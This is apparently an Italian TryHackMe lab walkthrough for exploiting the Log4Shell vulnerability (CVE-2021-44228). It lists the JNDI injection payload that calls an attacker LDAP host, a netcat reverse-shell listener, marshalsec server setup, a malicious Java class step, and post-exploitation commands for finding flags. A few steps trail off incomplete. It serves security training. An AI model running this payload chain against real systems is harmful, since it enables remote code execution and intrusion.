
Passo-passo della walkthrough TryHackMe per sfruttare la vulnerabilità Log4Shell (CVE-2021-44228) per ottenere l'esecuzione remota di codice e catturare le flag.
Piattaforma: TryHackMe Difficoltà: Media Argomento: Log4Shell (Vulnerabilità Log4j)
Sfruttare la vulnerabilità Log4j (CVE-2021-44228) per ottenere l'esecuzione remota di codice e catturare le flag.
nmap -sC -sV <TARGET_IP>
La vulnerabilità Log4j consente l'iniezione JNDI:
${jndi:ldap://<ATTACKER_IP>:1389/a}
Se l'input viene registrato → la vulnerabilità è presente.
nc -lvnp 4444
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package
Esegui il server LDAP:
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389
python3 -m http.server 8000
Crea una classe Java maliziosa (Exploit.class)
Inietta il payload nel campo vulnerabile:
${jndi:ldap://<ATTACKER_IP>:1389/Exploit}
💡 Usa header come:
Una volta attivato:
Controlla:
sudo -l
Cerca:
find / -name flag.txt 2>/dev/null
cat flag.txt